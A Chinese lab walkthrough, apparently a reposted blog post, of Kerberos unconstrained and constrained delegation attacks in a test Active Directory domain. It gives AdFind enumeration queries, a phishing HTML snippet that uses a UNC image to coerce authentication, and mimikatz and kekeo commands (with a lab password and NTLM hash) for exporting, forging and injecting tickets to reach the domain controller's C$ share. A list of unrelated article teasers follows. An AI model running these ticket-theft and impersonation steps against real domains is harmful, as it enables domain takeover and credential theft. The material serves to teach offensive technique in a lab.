内网横向移动—非约束委派约束委派

news2024/7/6 19:23:56

内网横向移动—非约束委派&约束委派

  • 1. 委派攻击介绍
    • 1.1. 约束委派分类
  • 2. 非约束委派
    • 2.1. 配置非约束委派
      • 2.1.1. 域内主机配置
      • 2.1.2. 注册对象
      • 2.1.3. 域内用户配置
    • 2.2. 案例测试
      • 2.2.1. 查询服务账户
      • 2.2.2. 查询机器账户
      • 2.2.3. 机器通讯
      • 2.2.4. 导出票据
      • 2.2.5. 导入票据
      • 2.2.6. 连接域控
  • 3. 约束委派
    • 3.1. 配置约束委派
      • 3.1.1. 域内主机配置
      • 3.1.2. 域内主机配置
    • 3.2. 案例测试
      • 3.2.1. 查询服务账户
      • 3.2.2. 查询机器账户
      • 3.2.3. 获取用户的票据
      • 3.2.4. 获取域控票据
      • 3.2.5. 导入票据

1. 委派攻击介绍

  在Windows 2000 Server首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持用户通过kerberos向web server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案。这通常称为"kerberos双跳问题",并且要求进行委派,以便web server在修改数据库记录时模拟用户。

1.1. 约束委派分类

  非约束委派

  约束委派

  基于资源的约束委派

2. 非约束委派

  非约束委派主要是通过域控访问具有非约束委派权限的域内主机上服务,会把当前的认证用户的TGT存放在ST票据中,一起发送给域内主机,域内主机会将TGT存储在lsass进程中以备下次使用。从而域内主机就能够使用这个TGT模拟认证域内主机访问服务。

2.1. 配置非约束委派

  这里想将靶机配置上非约束委派

2.1.1. 域内主机配置

  找到加入的主机名称,右击属性,找到委派,设置成信任计算机来委派任何服务。

在这里插入图片描述

2.1.2. 注册对象

  需要先输入这个命令,才能够在用户属性中找到委派。

setspn -U -A priv/test webadmin

在这里插入图片描述

2.1.3. 域内用户配置

  找到webadmin添加相应的委派,和上面主机是一样的。

在这里插入图片描述

2.2. 案例测试

  这里还是依旧上线域内主机,然后进行下面的操作,这里我就不展示如何上线了,同时还需要对其进行提权,这里我直接administrator上线。

  AdFind下载

2.2.1. 查询服务账户

  查询域内设置了非约束委派的账户。

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

在这里插入图片描述

2.2.2. 查询机器账户

  查询域内设置了非约束委派的机器账户。

AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

在这里插入图片描述

2.2.3. 机器通讯

  使用域控与委派机器通讯,为的就是让域控将直接的请求信息发送给域内主机,域内主机则会将请求的票据保存到内存中,当然这里可能会出现一个问题就是,域控平常很少主动去连接域内主机,同时就算连接,为什么需要使用查询操作。

  其实这里还可以采用钓鱼的方式进行通讯,简单来说就是在域内主机上找到一台开启web服务的主机,并且控制它,挂一个黑连上去,引诱去点击,不过说真的,正常去访问网页,谁去使用域控服务器去访问网页,除非无意间。

net use \\WIN-U7VV2NU5E5Q



网页钓鱼:
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.10\2">
</body>
</html>

在这里插入图片描述

2.2.4. 导出票据

  这里域控刚刚请求的票据从内存中导出来。

mimikatz sekurlsa::tickets /export

在这里插入图片描述

在这里插入图片描述

2.2.5. 导入票据

  然后在将票据导出,其实就是伪造票据。

mimikatz kerberos::ptt [0;bbd89]-2-0-60a00000-Administrator@krbtgt-0DAY.ORG.kirbi

在这里插入图片描述

2.2.6. 连接域控

  对结果进行测试,刚刚我是导入administrator,但是我切换webadmin后无法访问,然后我又将票据重新导入一下,发现是能够访问的,那么简单来说,此时就是将票据进行伪造进行访问,默认情况下票据是10小时。

shell dir \\OWA2010SP3\c$

在这里插入图片描述

3. 约束委派

  非约束委派存在不安全性,所以微软在Windows server 2003中引入了约束委派,约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

3.1. 配置约束委派

  同样这里需要在域控上设置相应的配置,以达到实验的目的。

3.1.1. 域内主机配置

  找到加入的主机名称,右击属性,找到委派,设置成仅信任计算机来委派制定的服务,找到域控主机名,并选择服务类型为cifs添加。

在这里插入图片描述

3.1.2. 域内主机配置

  用户也是设置一样的配置。

在这里插入图片描述

3.2. 案例测试

  这里我又换了一台虚拟机,之前使用Windows server 2012,是由于AF那个鬼工具报错…使用2012就没报错了,这里同样上线域内主机。

3.2.1. 查询服务账户

  查询域内设置了约束委派的账户。

shell AdFind -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

在这里插入图片描述

3.2.2. 查询机器账户

  查询域内设置了约束委派的机器账户。

shell AdFind -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

在这里插入图片描述

3.2.3. 获取用户的票据

  使用kekeo去请求TGT,这里可以采用明文或者hash值去请求,都可以,这里还是需要注意,我再做这一步的时候kekeo老是出现问题,主要还是对语法或者输入的内容比较严格。

明文:
shell kekeo "tgt::ask /user:webadmin /domain:0day.org /password:admin@123" "exit"   

hash值:
shell kekeo "tgt::ask /user:webadmin /domain:0day.org /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

在这里插入图片描述

3.2.4. 获取域控票据

  通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

  所以在当前目录下会出现两个新的票据。

shell kekeo.exe "tgs::s4u /tgt:TGT_webadmin@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org" "exit"

第一个斜杠后面的是你刚刚生成的TGT伪造的票据名称。
第二个斜杠后面的是以administrator身份去访问,注意要在后面添加上域名哦。
第三个斜杠后面的是设置的CIFS的域控主机名与域名

在这里插入图片描述

3.2.5. 导入票据

  使用mimikatz注入此票据,你可以看那个名称最长就是那个票据,再次之前你可以测试一下,正常情况下是无法访问的,当然你如果使用高权限的话,可能会成功,是由于内存中存在其它票据,而为了实验的严谨,可以使用低权限的账户shell,来导入,在导入前可以进行测试,最好是直接清除票据后,再进行导入。

mimikatz kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi

shell dir \\OWA2010SP3\c$

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/822400.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

算法题--二叉树(二叉树的最近公共祖先、重建二叉树、二叉搜索树的后序遍历序列)

目录 二叉树 题目 二叉树的最近公共祖先 原题链接 解析 二叉搜索树的最近公共节点 核心思想 答案 重建二叉树 题目链接 解析 核心思想 答案 二叉搜索树的后序遍历序列 原题链接 解析 核心思想 答案 二叉树 该类题目的解决一般是通过节点的遍历去实现&#x…

edge://settings/defaultbrowser default ie

Microsoft Edge 中的 Internet Explorer 模式 有些网站专为与 Internet Explorer 一起使用&#xff0c;它们具有 Microsoft Edge 等新式浏览器不支持的功能。 如果你需要查看其中的某个网站&#xff0c;可使用 Microsoft Edge 中的 Internet Explorer 模式。 大多数网站在新…

优先级队列 (堆)

目录 一&#xff0c;堆的概念 二&#xff0c; 堆的存储结构 三&#xff0c; 堆的实现 3.1 shiftDown() 3.2 shiftUp() 3.3 shiftDown 与 shiftUp 的时间复杂度 四&#xff0c;堆排序 一&#xff0c;堆的概念 堆常用于实现优先队列&#xff08;Priority Queue&#xff0…

【算法训练营】求最小公倍数+另类加法+走方格的方案数

7月31日 求最小公倍数题目题解代码 另类加法题目题解代码 走方格的方案数题目题解| 1 | 2 | 3 || 4 | 5 | 6 || 7 | 8 | 9 |代码 求最小公倍数 题目 点击跳转: 求最小公倍数 题解 最小公倍数 两数之积除以最大公约数&#xff0c;这里使用碾转相除法进行最大公约数的求解&am…

学习盒模型

1.是什么 2.标准模型 3.怪异模型 一、是什么 一个盒子由四部分组成&#xff1a; content、padding、border、margin 在CSS中&#xff0c;盒子模型可以分成&#xff1a; W3C 标准盒子模型IE 怪异盒子模型 默认情况下&#xff0c;盒子模型为W3C标准盒模型 二、标准盒模型 盒子总…

NetApp FAS存储系统磁盘更换详细步骤

说起更换磁盘&#xff0c;都会说非常简单&#xff0c;但无数次的血淋淋的教训让我们再次来审视一下更换磁盘的专业步骤。本文就是介绍最专业的也是最简单的磁盘更换步骤。常在河边走哪有不湿鞋&#xff0c;希望做了几十年攻城狮的你不要在这里翻船。 本文介绍的内容适用于Onta…

ELK日志管理平台架构和使用说明

一、部署架构 二、服务注册 2.1 日志解析服务 服务名&#xff1a;日志解析服务&#xff08;Logstash&#xff09; 服务默认端口&#xff1a;9600 2.2 日志查询服务 服务名&#xff1a;日志查询服务&#xff08;Kibana&#xff09; 服务默认端口&#xff1a;5601 三、对接…

光纤激光切割机是否属于环保设备

光纤激光切割机不属于环保设备。 环保设备是指用于控制环境污染、改善环境质量而由生产单位或建筑安装单位制造和建造出来的机械产品、构筑物及系统。 单纯的激光切割机当前是豁免环评的&#xff0c;比起普通二氧化碳激光切割机更节省空间和气体消耗量&#xff0c;光电转化率高…

C语言手撕单链表

一、链表的概念 链表是一种物理存储结构上非连续、非顺序的存储结构&#xff0c;也就是内存存储不是像顺序表那么连续存储&#xff0c;而是以结点的形式一块一块存储在堆上的&#xff08;用动态内存开辟&#xff09;。 既然在内存上不是连续存储&#xff0c;那我们如何将这一…

代码随想录算法训练营第二十八天 | Leetcode随机抽题检测

Leetcode随机抽题检测--使用题库&#xff1a;Leetcode热题100 1 两数之和未看解答自己编写的青春版重点题解的代码日后再次复习重新写 49 字母异位词分组未看解答自己编写的青春版重点题解的代码日后再次复习重新写 128 最长连续序列未看解答自己编写的青春版重点关于 left 和 …

谷歌浏览器提示客户端和服务器不支持一般 SSL 协议版本或加密套件(亲测有效)

目录 一、定位问题二、升级TLS1.21、原理之前架构调整架构 2、配置nginx3、配置tomcat 三、访问nginx即可 最近访问一部分网站时&#xff0c;出现如下图所示 “ 此网站无法提供案例连接&#xff0c;客户端和服务器不支持一般 SSL 协议版本或加密套件 ” 的问题。 一、定位问题…

AIGC之AI绘画行业发展研究报告(2023)

全部140页&#xff0c;完整版pdf下载见文末。 链接&#xff1a;AIGC之AI绘画行业发展研究报告&#xff08;2023&#xff09; 提取码&#xff1a;关注 未来人智慧 回复 AIGC之AI绘画行业发展研究报告&#xff08;2023&#xff09;

C语言每日一题:11.《数据结构》链表分割。

题目一&#xff1a; 题目链接&#xff1a; 思路一&#xff1a;使用带头链表 1.构建两个新的带头链表&#xff0c;头节点不存储数据。 2.循环遍历原来的链表。 3.小于x的尾插到第一个链表。 4.大于等于x尾插到第二个链表。 5.进行链表合并&#xff0c;注意第二个链表的尾的下一…

IO进程线程第四天(8.1)

作业1&#xff1a; 从终端获取一个文件的路径以及名字。 若该文件是目录文件&#xff0c;则将该文件下的所有文件的属性显示到终端&#xff0c;类似ls -l该文件夹 若该文件不是目录文件&#xff0c;则显示该文件的属性到终端上&#xff0c;类似ls -l这单个文件 #include<…

ad+硬件每日学习十个知识点(16)23.7.27 (总线保持、lin报文、逻辑器件手册解读)

文章目录 1.总线保持是怎么实现的&#xff1f;有什么需要注意的&#xff08;驱动电流和电阻&#xff09;&#xff1f;2.LIN报文3.芯片datasheet的features、applications、description看完&#xff0c;应该能大致判断逻辑器件能否满足我们的要求。4.什么是逻辑器件的传输延时&a…

系统架构设计师_备考第1天

文章目录 前言一、软考历史与体系二、考试价值与意义三、软考报名与交费四、考试介绍五、综合备考策略 前言 从今天开始&#xff0c;会认真备考系统架构设计师&#xff0c;希望95天后&#xff0c;拿下软考证书。 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可…

P3372 【模板】线段树 1(内附封面)

【模板】线段树 1 题目描述 如题&#xff0c;已知一个数列&#xff0c;你需要进行下面两种操作&#xff1a; 将某区间每一个数加上 k k k。求出某区间每一个数的和。 输入格式 第一行包含两个整数 n , m n, m n,m&#xff0c;分别表示该数列数字的个数和操作的总个数。 …

深度学习(33)——CycleGAN(1)

深度学习&#xff08;33&#xff09;——CycleGAN&#xff08;1&#xff09; 完整项目在在这里&#xff1a;欢迎造访 文章目录 深度学习&#xff08;33&#xff09;——CycleGAN&#xff08;1&#xff09;1. Generator2. Discriminator3. fake pool4. loss定义5. 模型参数量6…

Nodejs 第七章(发布npm包)

发布npm的包的好处是什么 方便团队或者跨团队共享代码&#xff0c;使用npm包就可以方便的管理&#xff0c;并且还可以进行版本控制做开源造轮子必备技术&#xff0c;否则你做完的轮子如何让别人使用难道是U盘拷贝&#xff1f;面试题我面字节的时候就问到了这个增加个人IP 让更…

消息队列之 - 消息持久化设计

目录 前言设计思想消息文件的格式垃圾回收的思想其他情况序列化和反序列化 具体代码实现测试消息文件 前言 我们之前说过, 消息队列不管要往硬盘中存储, 还要往内存中存储, 并且是以内存为主 ,硬盘为辅, 接下来, 就将消息队列如何存储到硬盘 做一个设计 设计思想 我们往硬盘…